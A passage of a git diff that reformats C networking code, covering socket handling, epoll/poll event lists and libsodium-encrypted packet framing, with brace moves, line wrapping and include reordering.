laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */ + laikaS_zeroWrite(sock, + sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */ laikaS_startOutPacket(peer, id); } -int laikaS_endVarPacket(struct sLaika_peer *peer) { +int laikaS_endVarPacket(struct sLaika_peer *peer) +{ struct sLaika_socket *sock = &peer->sock; - int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */ + int patchIndx = peer->outStart - + (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */ LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer); /* patch packet size */ - memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE)); + memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE)); return sz; } -void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) { +void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) +{ struct sLaika_socket *sock = &peer->sock; if (peer->inStart != -1) /* sanity check */ @@ -126,7 +138,8 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) { peer->inStart = sock->inCount; } -int laikaS_endInPacket(struct sLaika_peer *peer) { +int laikaS_endInPacket(struct sLaika_peer *peer) +{ struct sLaika_socket *sock = &peer->sock; uint8_t *body; size_t sz = sock->inCount - peer->inStart; @@ -135,7 +148,8 @@ int laikaS_endInPacket(struct sLaika_peer *peer) { body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES]; /* decrypt packet body in-place */ - if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, + if (crypto_secretbox_open_easy( + body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, &sock->inBuf[peer->inStart], peer->inKey) != 0) { LAIKA_ERROR("Failed to decrypt packet!\n"); } @@ -153,113 +167,119 @@ int laikaS_endInPacket(struct sLaika_peer *peer) { return sz; } -void laikaS_setSecure(struct sLaika_peer *peer, bool flag) { +void laikaS_setSecure(struct sLaika_peer *peer, bool flag) +{ peer->useSecure = flag; } /* ==================================[[ Handle Poll Events ]]=================================== */ -bool laikaS_handlePeerIn(struct sLaika_socket *sock) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; +bool laikaS_handlePeerIn(struct sLaika_socket *sock) +{ + struct sLaika_peer *peer = (struct sLaika_peer *)sock; int recvd; switch (peer->pktID) { - case LAIKAPKT_MAXNONE: - /* try grabbing pktID */ - if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) - return false; + case LAIKAPKT_MAXNONE: + /* try grabbing pktID */ + if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) + return false; - /* read packet ID */ - peer->pktID = laikaS_readByte(&peer->sock); - LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID)); + /* read packet ID */ + peer->pktID = laikaS_readByte(&peer->sock); + LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID)); - /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is - also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket - for itself, so skip all of this */ - if (peer->pktID == LAIKAPKT_VARPKT) - goto _HandlePacketVariadic; + /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. + LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT + case calls laikaS_startInPacket for itself, so skip all of this */ + if (peer->pktID == LAIKAPKT_VARPKT) + goto _HandlePacketVariadic; - /* sanity check pktID, pktID's handler & make sure it's not marked as variadic */ - if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic) - LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID); + /* sanity check pktID, pktID's handler & make sure it's not marked as variadic */ + if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || + peer->packetTbl[peer->pktID].variadic) + LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID); - peer->pktSize = peer->packetTbl[peer->pktID].size; + peer->pktSize = peer->packetTbl[peer->pktID].size; - /* if peer->useSecure is true, body is encrypted */ - laikaS_startInPacket(peer, false); - goto _HandlePacketBody; - case LAIKAPKT_VARPKT: - _HandlePacketVariadic: - /* try grabbing pktID & size */ - if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) - return false; + /* if peer->useSecure is true, body is encrypted */ + laikaS_startInPacket(peer, false); + goto _HandlePacketBody; + case LAIKAPKT_VARPKT: + _HandlePacketVariadic: + /* try grabbing pktID & size */ + if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != + RAWSOCK_OK) + return false; - /* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */ - if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) - LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n"); + /* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was + * probably sent maliciously anyways */ + if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) + LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n"); - /* read packet size */ - laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); + /* read packet size */ + laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); - if (peer->pktSize > LAIKA_MAX_PKTSIZE) - LAIKA_ERROR("variable packet too large!\n"); + if (peer->pktSize > LAIKA_MAX_PKTSIZE) + LAIKA_ERROR("variable packet too large!\n"); - /* read pktID */ - peer->pktID = laikaS_readByte(&peer->sock); + /* read pktID */ + peer->pktID = laikaS_readByte(&peer->sock); - /* sanity check pktID, check valid handler & make sure it's marked as variadic */ - if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic) - LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID); + /* sanity check pktID, check valid handler & make sure it's marked as variadic */ + if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || + !peer->packetTbl[peer->pktID].variadic) + LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID); - /* if peer->useSecure is true, body is encrypted */ - laikaS_startInPacket(peer, true); - goto _HandlePacketBody; - default: - _HandlePacketBody: - /* try grabbing the rest of the packet */ - if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) - return false; + /* if peer->useSecure is true, body is encrypted */ + laikaS_startInPacket(peer, true); + goto _HandlePacketBody; + default: + _HandlePacketBody: + /* try grabbing the rest of the packet */ + if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) + return false; - /* have we received the full packet? */ - if (peer->pktSize == peer->sock.inCount) { - peer->pktSize = laikaS_endInPacket(peer); + /* have we received the full packet? */ + if (peer->pktSize == peer->sock.inCount) { + peer->pktSize = laikaS_endInPacket(peer); - /* dispatch to packet handler */ - peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData); + /* dispatch to packet handler */ + peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData); - /* reset */ - peer->sock.inCount = 0; - peer->pktID = LAIKAPKT_MAXNONE; - } + /* reset */ + peer->sock.inCount = 0; + peer->pktID = LAIKAPKT_MAXNONE; + } - break; + break; } return laikaS_isAlive((&peer->sock)); } -bool laikaS_handlePeerOut(struct sLaika_socket *sock) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; +bool laikaS_handlePeerOut(struct sLaika_socket *sock) +{ + struct sLaika_peer *peer = (struct sLaika_peer *)sock; int sent; if (peer->sock.outCount == 0) /* sanity check */ return true; switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) { - case RAWSOCK_OK: /* we're ok! */ - /* if POLLOUT was set, unset it */ - laikaP_rmvPollOut(peer->pList, &peer->sock); + case RAWSOCK_OK: /* we're ok! */ + /* if POLLOUT was set, unset it */ + laikaP_rmvPollOut(peer->pList, &peer->sock); - return true; - case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */ - /* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */ - laikaP_addPollOut(peer->pList, &peer->sock); + return true; + case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */ + /* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */ + laikaP_addPollOut(peer->pList, &peer->sock); - return true; - default: /* panic! */ - case RAWSOCK_CLOSED: - case RAWSOCK_ERROR: - return false; + return true; + default: /* panic! */ + case RAWSOCK_CLOSED: + case RAWSOCK_ERROR: + return false; } - } \ No newline at end of file diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index 5a28e5c..e683eb9 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -1,38 +1,44 @@ +#include "lpolllist.h" + #include "lerror.h" #include "lmem.h" -#include "lpolllist.h" /* ===================================[[ Helper Functions ]]==================================== */ -typedef struct sLaika_hashMapElem { +typedef struct sLaika_hashMapElem +{ SOCKET fd; struct sLaika_socket *sock; } tLaika_hashMapElem; -int elem_compare(const void *a, const void *b, void *udata) { +int elem_compare(const void *a, const void *b, void *udata) +{ const tLaika_hashMapElem *ua = a; const tLaika_hashMapElem *ub = b; - return ua->fd != ub->fd; + return ua->fd != ub->fd; } -uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) { +uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) +{ const tLaika_hashMapElem *u = item; return (uint64_t)(u->fd); } /* =====================================[[ PollList API ]]====================================== */ -void laikaP_initPList(struct sLaika_pollList *pList) { +void laikaP_initPList(struct sLaika_pollList *pList) +{ laikaS_init(); /* setup hashmap */ - pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL); + pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, + elem_compare, NULL, NULL); pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */ - pList->reventCap = POLLSTARTCAP/GROW_FACTOR; + pList->reventCap = POLLSTARTCAP / GROW_FACTOR; pList->reventCount = 0; pList->outQueue = NULL; - pList->outCap = POLLSTARTCAP/GROW_FACTOR; + pList->outCap = POLLSTARTCAP / GROW_FACTOR; pList->outCount = 0; #ifdef LAIKA_USE_EPOLL @@ -43,12 +49,15 @@ void laikaP_initPList(struct sLaika_pollList *pList) { #else pList->fds = NULL; /* laikaP_addSock will allocate the buffer */ - pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */ + pList->fdCapacity = + POLLSTARTCAP / + GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */ pList->fdCount = 0; #endif } -void laikaP_cleanPList(struct sLaika_pollList *pList) { +void laikaP_cleanPList(struct sLaika_pollList *pList) +{ laikaM_free(pList->revents); laikaM_free(pList->outQueue); hashmap_free(pList->sockets); @@ -62,13 +71,14 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) { laikaS_cleanUp(); } -void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { +void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) +{ /* add socket to hashmap */ hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock}); #ifdef LAIKA_USE_EPOLL pList->ev.events = EPOLLIN; - pList->ev.data.ptr = (void*)sock; + pList->ev.data.ptr = (void *)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1) LAIKA_ERROR("epoll_ctl [ADD] failed\n"); @@ -80,7 +90,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { #endif } -void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { +void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) +{ int i; /* remove socket from hashmap */ @@ -88,13 +99,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { /* make sure peer isn't in outQueue */ for (i = 0; i < pList->outCount; i++) { - if ((void*)pList->outQueue[i] == (void*)sock) { + if ((void *)pList->outQueue[i] == (void *)sock) { laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1); } } #ifdef LAIKA_USE_EPOLL - /* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */ + /* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL + * pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */ if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ LAIKA_WARN("epoll_ctl [DEL] failed\n"); @@ -112,13 +124,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { #endif } -void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) { +void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) +{ if (sock->setPollOut) return; #ifdef LAIKA_USE_EPOLL pList->ev.events = EPOLLIN | EPOLLOUT; - pList->ev.data.ptr = (void*)sock; + pList->ev.data.ptr = (void *)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ LAIKA_WARN("epoll_ctl [MOD] failed\n"); @@ -138,13 +151,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock sock->setPollOut = true; } -void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) { +void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) +{ if (!sock->setPollOut) return; #ifdef LAIKA_USE_EPOLL pList->ev.events = EPOLLIN; - pList->ev.data.ptr = (void*)sock; + pList->ev.data.ptr = (void *)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ LAIKA_WARN("epoll_ctl [MOD] failed\n"); @@ -164,7 +178,8 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock sock->setPollOut = false; } -void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) { +void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) +{ int i; /* first, check that we don't have this peer in the queue already */ @@ -173,15 +188,17 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so return; /* found it :) */ } - laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap); + laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap); pList->outQueue[pList->outCount++] = sock; } -void laikaP_resetOutQueue(struct sLaika_pollList *pList) { +void laikaP_resetOutQueue(struct sLaika_pollList *pList) +{ pList->outCount = 0; /* ez lol */ } -void laikaP_flushOutQueue(struct sLaika_pollList *pList) { +void laikaP_flushOutQueue(struct sLaika_pollList *pList) +{ struct sLaika_socket *sock; int i; @@ -195,14 +212,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) { laikaP_resetOutQueue(pList); } -struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) { +struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) +{ int nEvents, i; pList->reventCount = 0; /* reset revent array */ #ifdef LAIKA_USE_EPOLL -/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap - not to mention the various improvements epoll() has over poll() :D -*/ + /* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a + lookup into our socket hashmap not to mention the various improvements epoll() has over + poll() :D + */ nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout); if (SOCKETERROR(nEvents)) @@ -210,15 +229,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, for (i = 0; i < nEvents; i++) { /* add event to revent array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); - pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ - .sock = pList->ep_events[i].data.ptr, - .pollIn = pList->ep_events[i].events & EPOLLIN, - .pollOut = pList->ep_events[i].events & EPOLLOUT - }; + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, + pList->reventCap); + pList->revents[pList->reventCount++] = + (struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr, + .pollIn = pList->ep_events[i].events & EPOLLIN, + .pollOut = pList->ep_events[i].events & EPOLLOUT}; } #else - nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */ + nEvents = poll(pList->fds, pList->fdCount, + timeout); /* poll returns -1 for error, or the number of events */ if (SOCKETERROR(nEvents)) LAIKA_ERROR("poll() failed!\n"); @@ -228,15 +248,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, PollFD pfd = pList->fds[i]; if (pList->fds[i].revents != 0) { /* grab socket from hashmap */ - tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); + tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get( + pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); /* insert event into revents array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); - pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ - .sock = elem->sock, - .pollIn = pfd.revents & POLLIN, - .pollOut = pfd.revents & POLLOUT - }; + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, + pList->reventCap); + pList->revents[pList->reventCount++] = + (struct sLaika_pollEvent){.sock = elem->sock, + .pollIn = pfd.revents & POLLIN, + .pollOut = pfd.revents & POLLOUT}; nEvents--; } @@ -249,7 +270,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, return pList->revents; } -bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) { +bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) +{ bool result = true; /* sanity check */ diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index a736ed5..56acb0c 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -1,14 +1,17 @@ +#include "lsocket.h" + #include "lerror.h" #include "lmem.h" +#include "lpacket.h" #include "lpolllist.h" #include "lsodium.h" -#include "lsocket.h" -#include "lpacket.h" static int _LNSetup = 0; -bool laikaS_isBigEndian(void) { - union { +bool laikaS_isBigEndian(void) +{ + union + { uint32_t i; uint8_t c[4]; } _indxint = {0xDEADB33F}; @@ -16,7 +19,8 @@ bool laikaS_isBigEndian(void) { return _indxint.c[0] == 0xDE; } -void laikaS_init(void) { +void laikaS_init(void) +{ if (_LNSetup++ > 0) return; /* WSA is already setup! */ @@ -28,7 +32,8 @@ void laikaS_init(void) { #endif } -void laikaS_cleanUp(void) { +void laikaS_cleanUp(void) +{ if (--_LNSetup > 0) return; /* WSA still needs to be up, a socket is still running */ @@ -37,7 +42,9 @@ void laikaS_cleanUp(void) { #endif } -void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) { +void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, + pollFailEvent onPollFail, void *uData) +{ sock->sock = INVALID_SOCKET; sock->onPollFail = onPollFail; sock->onPollIn = onPollIn; @@ -55,7 +62,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent laikaS_init(); } -void laikaS_cleanSocket(struct sLaika_socket *sock) { +void laikaS_cleanSocket(struct sLaika_socket *sock) +{ /* free in & out arrays */ laikaM_free(sock->inBuf); laikaM_free(sock->outBuf); @@ -65,7 +73,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) { laikaS_cleanUp(); } -void laikaS_kill(struct sLaika_socket *sock) { +void laikaS_kill(struct sLaika_socket *sock) +{ if (!laikaS_isAlive(sock)) /* sanity check */ return; @@ -80,7 +89,8 @@ void laikaS_kill(struct sLaika_socket *sock) { sock->sock = INVALID_SOCKET; } -void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { +void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) +{ struct addrinfo res, *result, *curr; if (!SOCKETINVALID(sock->sock)) @@ -95,14 +105,15 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { if (getaddrinfo(ip, port, &res, &result) != 0) LAIKA_ERROR("getaddrinfo() failed!\n"); - /* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */ + /* getaddrinfo returns a list of possible addresses, step through them and try them until we + * find a valid address */ for (curr = result; curr != NULL; curr = curr->ai_next) { sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol); /* if it failed, try the next sock */ if (SOCKETINVALID(sock->sock)) continue; - + /* if it's not an invalid socket, break and exit the loop, we found a working addr! */ if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen))) break; @@ -116,7 +127,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { LAIKA_ERROR("couldn't connect a valid address handle to socket!\n"); } -void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { +void laikaS_bind(struct sLaika_socket *sock, uint16_t port) +{ socklen_t addressSize; struct sockaddr_in6 address; int opt = 1; @@ -129,9 +141,9 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { if (SOCKETINVALID(sock->sock)) LAIKA_ERROR("socket() failed!\n"); - /* allow reuse of local address */ + /* allow reuse of local address */ #ifdef _WIN32 - if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0) + if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0) #else if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0) #endif @@ -144,18 +156,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { addressSize = sizeof(address); /* bind to the port */ - if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize))) + if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize))) LAIKA_ERROR("bind() failed!\n"); if (SOCKETERROR(listen(sock->sock, SOMAXCONN))) LAIKA_ERROR("listen() failed!\n"); } -void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) { +void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) +{ struct sockaddr_in6 address; socklen_t addressSize = sizeof(address); - sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize); + sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize); if (SOCKETINVALID(sock->sock)) LAIKA_ERROR("accept() failed!\n"); @@ -166,7 +179,8 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, c } } -bool laikaS_setNonBlock(struct sLaika_socket *sock) { +bool laikaS_setNonBlock(struct sLaika_socket *sock) +{ #ifdef _WIN32 unsigned long mode = 1; if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) { @@ -181,11 +195,13 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) { return true; } -void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) { +void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) +{ laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); } -void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) { +void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) +{ laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); /* set NULL bytes */ @@ -193,12 +209,14 @@ void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) { sock->outCount += sz; } -void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { +void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) +{ memcpy(buf, sock->inBuf, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); } -void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { +void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) +{ /* make sure we have enough space to copy the buffer */ laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); @@ -207,7 +225,8 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { sock->outCount += sz; } -void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) { +void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) +{ /* make sure we have enough space to encrypt the buffer */ laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap); @@ -218,7 +237,9 @@ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, ui sock->outCount += LAIKAENC_SIZE(sz); } -void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) { +void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, + uint8_t *priv) +{ /* decrypt into buf */ if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0) LAIKA_ERROR("Failed to decrypt!\n"); @@ -226,12 +247,14 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz)); } -void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) { +void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) +{ laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap); sock->outBuf[sock->outCount++] = data; } -uint8_t laikaS_readByte(struct sLaika_socket *sock) { +uint8_t laikaS_readByte(struct sLaika_socket *sock) +{ uint8_t tmp = *sock->inBuf; /* pop 1 byte */ @@ -239,17 +262,18 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) { return tmp; } -void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) { +void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) +{ if (sock->flipEndian) { VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */ int k; - laikaS_read(sock, (void*)tmp, sz); + laikaS_read(sock, (void *)tmp, sz); /* copy tmp buffer to user buffer, flipping endianness */ for (k = 0; k < sz; k++) - *((uint8_t*)buf + k) = tmp[sz - k - 1]; - + *((uint8_t *)buf + k) = tmp[sz - k - 1]; + ENDVLA(tmp); } else { /* just a wrapper for laikaS_read */ @@ -257,16 +281,17 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) { } } -void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) { +void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) +{ if (sock->flipEndian) { VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */ int k; /* copy user buffer to tmp buffer, flipping endianness */ for (k = 0; k < sz; k++) - tmp[k] = *((uint8_t*)buf + (sz - k - 1)); + tmp[k] = *((uint8_t *)buf + (sz - k - 1)); - laikaS_write(sock, (void*)tmp, sz); + laikaS_write(sock, (void *)tmp, sz); ENDVLA(tmp); } else { /* just a wrapper for laikaS_write */ @@ -274,7 +299,8 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) { } } -RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) { +RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) +{ RAWSOCKCODE errCode = RAWSOCK_OK; int i, rcvd, start = sock->inCount; @@ -284,14 +310,16 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed /* make sure we have enough space to recv */ laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap); - rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); + rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); if (rcvd == 0) { errCode = RAWSOCK_CLOSED; - } else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD + } else if 